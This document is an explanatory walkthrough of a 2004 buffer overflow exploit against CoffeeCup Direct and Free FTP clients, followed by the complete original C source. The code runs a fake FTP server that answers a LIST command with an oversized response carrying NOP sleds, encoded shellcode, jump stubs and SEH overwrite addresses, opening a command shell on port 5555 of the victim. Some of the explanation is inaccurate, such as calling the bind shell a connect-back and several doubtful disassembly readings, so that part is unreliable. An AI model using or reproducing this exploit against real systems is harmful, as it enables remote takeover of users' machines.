Understanding the CoffeeCup FTP Client Buffer Overflow Exploit

Understanding the CoffeeCup FTP Client Buffer Overflow Exploit
What this paper is
This paper describes a remote buffer overflow vulnerability in older versions of CoffeeCup FTP clients (Direct 6.2.0.62 and Free 3.0.0.10). The exploit, created by Komrade, abuses this vulnerability to gain a remote command shell on the target system. It works by setting up a fake FTP server that the vulnerable client connects to. When the client attempts to list files, the exploit sends a specially crafted response that overflows a buffer, leading to the execution of shellcode.
Simple technical breakdown
The core of the exploit relies on a buffer overflow. Here's how it works:
- Fake FTP Server: The exploit program acts as a malicious FTP server on the attacker's machine (or a machine controlled by the attacker).
- Client Connection: The vulnerable CoffeeCup FTP client is tricked into connecting to this fake server. This can happen if the client is configured to connect to a malicious server, or if the attacker can intercept and redirect the client's connection.
- Triggering the Vulnerability: The exploit server sends a specific sequence of FTP commands and responses. The critical part is the
PASV(Passive mode) command and the subsequentLISTcommand. - Buffer Overflow: When the vulnerable client receives a long, malformed response to the
LISTcommand, it writes more data than the allocated buffer can hold. This overwrites adjacent memory. - Shellcode Execution: The overwritten memory includes a pointer that, when executed, redirects the program's flow to a piece of malicious code (shellcode) embedded within the exploit's response. This shellcode then opens a command shell on port 5555 of the target machine.
Complete code and payload walkthrough
The provided C code implements the exploit. Let's break it down:
main function (Exploit Server Logic)
This function sets up the fake FTP server and handles client connections.
Includes and Definitions:
stdio.h,string.h,windows.h,winsock.h: Standard C and Windows API libraries for input/output, string manipulation, and network programming.FTP_PORT 21: The standard FTP control port.PASV_PORT 1106: A custom port used for the passive data connection in the exploit.version,wait: Global variables to track the target client version and control program flow.
fileListfunction declaration: Declares a function that will run in a separate thread to handle the malicious data transfer.mainfunction start:WSADATA data; WORD p;: Initializes the Windows Sockets API.p = MAKEWORD(2, 0); WSAStartup(p, &data);: Starts the Winsock DLL, requesting version 2.0.Banner and Usage Information: Prints the exploit's title, author, and usage instructions.
Argument Parsing:
- Checks
argc(argument count) andargv(argument values) to determine the target client (directorfree), and whether to run locally (-l) or remotely (-r). - If arguments are invalid, it prints usage instructions and exits.
if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) || (strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))): This condition is a bit complex and seems to have a logical flaw. It's trying to validate the number and type of arguments. Thestrcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)part within the firstifcondition will always be true ifargv[1]is "direct" or "free" becausestrcmpreturns 0 on equality. A more robust check would be needed here.if(strcmp(argv[1], "direct") == 0) version = 1; else version = 2;: Sets theversionvariable based on thedirectorfreeargument.1for Direct,2for Free.- Remote IP Handling (
-roption):- If
-ris specified, it parses the provided server IP address. char *token[4]; token[0]=strtok(argv[3], "."); ...: Usesstrtokto split the IP address by dots.strcpy(addr, "\0"); ... strcat(addr, ",");: Reconstructs the IP address in a comma-separated format (e.g., "10,0,0,1,") which is used in the FTPPASVresponse. This format is specific to how the exploit expects the IP to be presented in the227 Entering Passive Modemessage.
- If
- Local IP Handling: If
-ris not used,addris set to"127,0,0,1,"for local execution.
- Checks
Socket Setup:
sock=socket(PF_INET,SOCK_STREAM,0);: Creates a TCP socket.sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(FTP_PORT); sock_addr.sin_addr.s_addr=INADDR_ANY;: Configures the server's address structure to listen on any interface (INADDR_ANY) on the standard FTP port (21).bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));: Binds the socket to the configured address and port.listen(sock,1);: Puts the socket into listening mode, allowing it to accept incoming connections.client = accept(sock, (struct sockaddr*)&client_addr, &lun);: Waits for and accepts an incoming client connection.
Initial FTP Response:
strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");: Sends a standard FTP welcome message.send(client, mess, strlen(mess), 0);: Sends the welcome message to the client.
Main Communication Loop (
while(wait == TRUE)):Sleep(800);: Pauses briefly to avoid busy-waiting.n = recv(client, received, sizeof(mess), 0);: Receives data from the client.received[n]=0; printf("CLIENT: %s", received);: Null-terminates the received data and prints it for debugging.- Command Handling: The code uses
strtokto parse the received command andstricmp(case-insensitive compare) to identify commands.USER: Responds with331 Anonymous access allowed, send password.PASS: Responds with230 Anonymous user logged in.PWD: Responds with257 "/" is current directory.CWD: Responds with257 "/" is current directory.TYPE: Responds with200 Type set to A.PASV:fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);: This is a crucial step. It creates a new thread that will execute thefileListfunction. This thread is responsible for setting up the secondary socket for the malicious data transfer and sending the overflowed payload.wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);: Sends thePASVresponse to the client, including the attacker's IP address (or loopback) and a port number (4,82 which is 1106 decimal).
LIST:strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");: Sends aLISTstatus message.wait = FALSE;: Sets thewaitflag toFALSE, signaling that the main loop should eventually terminate after this transfer.do { GetExitCodeThread(fileListH, &exitCode); Sleep(100); } while(exitCode == STILL_ACTIVE);: This loop waits for thefileListthread to complete its execution.printf("< Long file name sent to client >\r\n\r\n");: Indicates that the exploit payload has been sent.strcpy(mess, "226 Transfer complete.\r\n");: Sends the finalLISTcompletion message.
- Other commands: Responds with
550 Unimplemented.
send(client, mess, strlen(mess), 0);: Sends the constructed server response to the client.
Post-Exploitation:
printf("Wait......."); Sleep(2000); printf("Exploit succesfully sent!\r\n");: Informs the user that the exploit has been sent.printf("Connect to %s port 5555 for the shell\r\n", inet_ntoa(client_addr.sin_addr));: Instructs the operator on how to connect to the shell.closesocket (client); closesocket(sock); WSACleanup();: Cleans up network resources.
fileList function (Payload Delivery)
This function runs in a separate thread and is responsible for setting up the data connection and sending the overflowed data containing the shellcode.
Socket Setup for Data Transfer:
WSADATA wData; WORD p;: Initializes Winsock again (though it's already initialized inmain, this is redundant but harmless).sock=socket(PF_INET,SOCK_STREAM,0);: Creates a TCP socket for the passive data connection.sock_addr.sin_family=PF_INET; sock_addr.sin_port=htons(PASV_PORT); sock_addr.sin_addr.s_addr=INADDR_ANY;: Configures the server to listen onINADDR_ANYon thePASV_PORT(1106).bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));: Binds the socket.listen(sock,1);: Puts the socket into listening mode.client = accept(sock, (struct sockaddr*)&client_addr, &lun);: Accepts the connection from the vulnerable FTP client on this data port.
Payload Construction:
char shellcode[] = "\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED\x99";: This is the actual shellcode. It's a sequence of bytes designed to be executed. Based on the context and typical shellcode, this likely performs the following:- Stage 1 (Initial Jumps/Setup): Starts with
\xEB\x10(short jump 16 bytes forward),\x5A(pop edx),\x4A(dec edx),\x33\xC9(xor ecx, ecx),\x66\xB9\x66\x01(mov cx, 0x0166),\x80\x34\x0A\x99(xor [esi+ecx], cl),\xE2\xFA(loopnz),\xEB\x05(short jump 5 bytes),\xE8\xEB\xFF\xFF\xFF(call -5). This section is likely responsible for self-decoding or preparing the environment for the main payload. The\x70\x99\x98\x99\x99sequence is unusual and might be part of a custom encoding or decryption routine. The\xC3is a return instruction. The subsequent bytes starting with\xFD\x12\xD8\xA9\x12are heavily obfuscated and likely contain the core logic for creating a socket, connecting back to the attacker, and spawning a shell. - Stage 2 (Socket/Shell Creation): The bulk of the shellcode is dedicated to creating a network socket, connecting to a specified IP and port (which is implicitly the attacker's IP and port 5555, as indicated in the
mainfunction's output), and then redirecting standard input, output, and error to this socket. This effectively provides a command shell over the network. The specific bytes are highly encoded and would require disassembly to fully understand.
- Stage 1 (Initial Jumps/Setup): Starts with
char shelljump1[] = "\x90\xEB\xBA\x90";: This is a small piece of code that likely acts as a jump or padding.\x90is NOP (No Operation),\xEB\xBAis a short jump backwards.char shelljump2[] = "\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";: This is another critical piece.\x58: Pop eax.\xB9\x21\xFC\xFF\xFF: Mov ecx, 0xFFFFFF21. This is likely setting up a pointer or counter.\xF7\xD1: Not ecx.\x2B\xC1: Sub ecx, eax.\xFF\xE0: Jmp eax. This is a common technique to jump to an address stored in EAX.\xE8\xEF\xFF\xFF\xFF: Call -17. This is a relative call, likely to the start of the shellcode or a function within it. This section is likely a jump to the main shellcode.
char SEHAddr1[] = "\x50\x39\x06\x6D";: This is a hardcoded address.\x6D\x06\x39\x50(little-endian) is0x6D063950. This is likely a pointer to a location in memory that will be overwritten by the exploit. This address is used for the "Direct" version of the client.char SEHAddr2[] = "\x0D\xA8\x03\x6D";: Another hardcoded address.\x6D\x03\xA8\x0D(little-endian) is0x6D03A80D. This is used for the "Free" version of the client. These are likely pointers to thenexthandler in the Structured Exception Handler (SEH) chain.Payload Assembly:
strcpy(mess, "03-04-81 12:00PM 3 ");: Starts the response with a fake file listing entry. The date and time are arbitrary. The "3" might indicate file size or type.for(i=strlen(mess); i<100; i++) mess[i]=0x90; mess[i]='\0';: Fills the buffer with NOPs (No Operation instructions) up to a certain point. This creates a "NOP sled" which increases the chances of landing on the shellcode.strcat(mess, shellcode);: Appends the main shellcode.for(i=strlen(mess); i<1000; i++) mess[i]=0x90; mess[i]='\0';: More NOPs.strcat(mess, shelljump2);: Appends the jump to the shellcode.for(i=strlen(mess); i<1079; i++) mess[i]=0x90; mess[i]='\0';: More NOPs.strcat(mess, shelljump1);: Appends the first jump/padding.if (version == 1) strcat(mess, SEHAddr1); else strcat(mess, SEHAddr2);: Appends the specific SEH handler address based on the target client version. This is the crucial part that overwrites the return address or SEH handler pointer.for(i=strlen(mess); i<1300; i++) mess[i]='b'; mess[i]='\0';: Fills the rest of the buffer with 'b' characters. This is the overflow data that will overwrite memory beyond the intended buffer, including the SEH handler pointer. The size (1300) is chosen to ensure the overflow happens.strcat(mess, "\r\n");: Appends the carriage return and newline.
Sending the Payload:
n = send(client, mess, strlen(mess), 0);: Sends the crafted, oversized response to the client. This triggers the buffer overflow.
Cleanup:
closesocket(sock); closesocket(client); WSACleanup();: Cleans up network resources for the data connection thread.
Mapping list:
| Code Fragment/Block
Original Exploit-DB Content (Verbatim)
/*************************************************************************************
CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit
created by Komrade
e-mail: unsecure(at)altervista(dot)org
web: http://unsecure.altervista.org
Tested on:
CoffeeCup Direct FTP 6.2.0.62
CoffeeCup Free FTP 3.0.0.10
on a Windows XP Professional sp2 operating system.
This exploit creates a fake FTP server on your machine, waiting for the
connection of an FTP client.
After the exploit is sent a shell (command prompt) is spawn on port 5555
of the target machine.
This exploit works locally or remotely.
Usage: coffecupbof [direct | free] [-l] [-r server IP]
Options:
direct | free "direct" to exploit a CoffeeCup Direct FTP client
"free" to exploit a CoffeeCup Free FTP client
-l executed locally
-r serverIP executed remotely. You need to specify the address
of the FTP server for the PASV command (Insert your IP address)
Examples:
C:\> coffeecupbof direct -l exploit for CoffeeCup Direct FTP executed locally
C:\> coffeecupbof free -r 10.0.0.1 exploit for CoffeeCup Free FTP executed remotely
*****************************************************************************************/
#include <stdio.h>
#include <string.h>
#include <windows.h>
#include <winsock.h>
#define FTP_PORT 21
#define PASV_PORT 1106
int version, wait = TRUE;
DWORD WINAPI fileList(LPVOID data);
int main(int argc,char **argv){
SOCKET sock, client;
struct sockaddr_in sock_addr,client_addr;
WSADATA data;
WORD p;
char mess[4096], received[512], addr[32];
int lun, n, i, err;
HANDLE fileListH;
DWORD fileListId, exitCode;
p = MAKEWORD(2, 0);
WSAStartup(p, &data);
printf("------------------------------------------------------------------------------\r\n");
printf("\tCoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
printf("\t\t\tcreated by Komrade\r\n\r\n");
printf("\t\te-mail: unsecure(at)altervista(dot)org\r\n");
printf("\t\tweb: http://unsecure.altervista.org\r\n");
printf("------------------------------------------------------------------------------\r\n\r\n");
if (((argc != 2) || (strcmp(argv[1], "direct") != 0) || (strcmp(argv[1], "free") != 0)) && ((argc != 3) ||
(strcmp(argv[2], "-l") != 0)) && ((argc != 4) || (strcmp(argv[2], "-r") != 0))){
printf("Usage: coffecupbof [direct | free] [-l] [-r server IP]\r\n\r\n");
printf("Options:\r\n");
printf(" direct | free\t\"direct\" to exploit a CoffeeCup Direct FTP client\r\n");
printf(" \t\t\"free\" to exploit a CoffeeCup Free FTP client\r\n");
printf(" -l\t\tworks locally.\r\n");
printf(" -r server IP\tworks remotely. You need to specify the address of the\r\n");
printf("\t\tFTP server for the PASV command (Insert your IP address)\r\n\r\n");
printf("Examples:\r\n");
printf(" coffeecupbof direct -l\t\texploit for CoffeeCup Direct FTP\r\n\t\t\t\texecuted locally\r\n");
printf(" coffeecupbof free -r 10.0.0.1\texploit for CoffeeCup Free FTP\r
\n\t\t\t\texecuted remotely\r\n");
return 0;
}
if(strcmp(argv[1], "direct") == 0)
version = 1;
else
version = 2;
if(strcmp(argv[2], "-r") == 0){
char *token[4];
token[0]=strtok(argv[3], ".");
for(i = 1; i < 4; i++){
token[i]=strtok(NULL, ".");
}
strcpy(addr, "\0");
for(i=0; (i < 4) && (token[i]!= NULL); i++){
strlcat(addr, token[i], 16);
strcat(addr, ",");
}
}
else
strcpy(addr, "127,0,0,1,");
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(FTP_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen()\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
printf("Opening the FTP port and waiting for connections...\r\n");
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
printf("Client connected from IP: %s\r\n\r\n", inet_ntoa(client_addr.sin_addr));
strcpy(mess, "220 CoffeeCup FTP Clients Buffer Overflow Vulnerability Exploit\r\n");
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
while(wait == TRUE){
Sleep(800);
n = recv(client, received, sizeof(mess), 0);
if (n < 0){
printf("Error in recv()\r\n");
return -1;
}
received[n]=0;
printf("CLIENT: %s", received);
if (stricmp("USER", strtok(received, " ")) == 0)
strcpy(mess, "331 Anonymous access allowed, send password.\r\n");
else if (stricmp("PASS", strtok(received, " ")) == 0)
strcpy(mess, "230 Anonymous user logged in.\r\n");
else if (stricmp("PWD\r\n", received) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("CWD", strtok(received, " ")) == 0)
strcpy(mess, "257 \"/\" is current directory.\r\n");
else if (stricmp("TYPE", strtok(received, " ")) == 0)
strcpy(mess, "200 Type set to A.\r\n");
else if (stricmp("PASV\r\n", received) == 0){
fileListH = CreateThread(NULL, 0, fileList, NULL, 0, &fileListId);
if (fileListH == NULL)
printf("Error in CreateThread() %d", GetLastError());
wsprintf(mess, "227 Entering Passive Mode (%s4,82).\r\n", addr);
}
else if (stricmp("LIST", strtok(received, " ")) == 0 || stricmp("LIST\r\n", received) == 0){
strcpy(mess, "125 Data connection already open; Transfer starting.\r\n");
printf("SERVER: %s\r\n", mess);
n=send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
wait = FALSE;
do{
GetExitCodeThread(fileListH, &exitCode);
Sleep(100);
}
while(exitCode == STILL_ACTIVE);
printf("< Long file name sent to client >\r\n\r\n");
strcpy(mess, "226 Transfer complete.\r\n");
}
else
strcpy(mess, "550 Unimplemented\r\n");
printf("SERVER: %s\r\n", mess);
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
}
printf("Wait.......");
Sleep(2000);
printf("Exploit succesfully sent!\r\n");
printf("Connect to %s port 5555 for the shell\r\n", inet_ntoa(client_addr.sin_addr));
closesocket (client);
closesocket(sock);
WSACleanup();
return 0;
}
DWORD WINAPI fileList(LPVOID data){
char shellcode[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x66\x01\x80\x34\x0A\x99\xE2\xFA\xEB"
"\x05\xE8\xEB\xFF\xFF\xFF\x70\x99\x98\x99\x99\xC3\xFD\x12\xD8\xA9\x12"
"\xD9\x95\x12\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x9A\x6A\x12"
"\xEF\xE1\x9A\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8"
"\x12\xA6\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E"
"\x9D\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58\x12"
"\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0\x71\xE5"
"\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41\xF3\x9D\xC0"
"\x71\xF0\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B\x66\xCE\x69\x12"
"\x41\x5E\x9E\x9B\x99\x8C\x2A\xAA\x59\x10\xDE\x9D\xF3\x89\xCE\xCA\x66"
"\xCE\x6D\xF3\x98\xCA\x66\xCE\x61\xC9\xC9\xCA\x66\xCE\x65\x1A\x75\xDD"
"\x12\x6D\xAA\x42\xF3\x89\xC0\x10\x85\x17\x7B\x62\x10\xDF\xA1\x10\xDF"
"\xA5\x10\xDF\xD9\x5E\xDF\xB5\x98\x98\x99\x99\x14\xDE\x89\xC9\xCF\xCA"
"\xCA\xCA\xF3\x98\xCA\xCA\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9"
"\xCA\x66\xCE\x7D\xC9\x66\xCE\x71\xAA\x59\x35\x1C\x59\xEC\x60\xC8\xCB"
"\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59\x5A\x71\x62\x67\x66\x66"
"\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD\xEB\xFC\xEA\xEA\x99\xDA\xEB"
"\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED"
"\xC9\xEB\xF6\xFA\xFC\xEA\xEA\x99\xD5\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8"
"\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA"
"\xF2\xFC\xED\xD8\x99\xFB\xF0\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99"
"\xF8\xFA\xFA\xFC\xE9\xED\x99";
char shelljump1[] = "\x90\xEB\xBA\x90";
char shelljump2[] =
"\x58\xB9\x21\xFC\xFF\xFF\xF7\xD1\x2B\xC1\xFF\xE0\xE8\xEF\xFF\xFF\xFF";
char SEHAddr1[] = "\x50\x39\x06\x6D";
char SEHAddr2[] = "\x0D\xA8\x03\x6D";
SOCKET sock, client, list;
struct sockaddr_in sock_addr,client_addr;
WSADATA wData;
WORD p;
char mess[4096];
int lun, n, i, err;
p = MAKEWORD(2, 0);
WSAStartup(p, &wData);
sock=socket(PF_INET,SOCK_STREAM,0);
sock_addr.sin_family=PF_INET;
sock_addr.sin_port=htons(PASV_PORT);
sock_addr.sin_addr.s_addr=INADDR_ANY;
err = bind(sock, (struct sockaddr*)&sock_addr, sizeof(struct sockaddr_in));
if (err < 0){
printf("Error in bind(). Port may be in use\r\n");
return -1;
}
err = listen(sock,1);
if (err < 0){
printf("Error in listen().\r\n");
return -1;
}
lun = sizeof (struct sockaddr);
client = accept(sock, (struct sockaddr*)&client_addr, &lun);
while (wait == TRUE)
Sleep(100);
strcpy(mess, "03-04-81 12:00PM 3 ");
for(i=strlen(mess); i<100; i++)
mess[i]=0x90;
mess[i]='\0';
strcat(mess, shellcode);
for(i=strlen(mess); i<1000; i++)
mess[i]=0x90;
mess[i]='\0';
strcat(mess, shelljump2);
for(i=strlen(mess); i<1079; i++)
mess[i]=0x90;
mess[i]='\0';
strcat(mess, shelljump1);
if (version == 1)
strcat(mess, SEHAddr1);
else
strcat(mess, SEHAddr2);
for(i=strlen(mess); i<1300; i++) // cause the exception
mess[i]='b';
mess[i]='\0';
strcat(mess, "\r\n");
n = send(client, mess, strlen(mess), 0);
if (n < 0){
printf("Error in send()\r\n");
return -1;
}
closesocket(sock);
closesocket(client);
WSACleanup();
return 0;
}
// milw0rm.com [2004-11-22]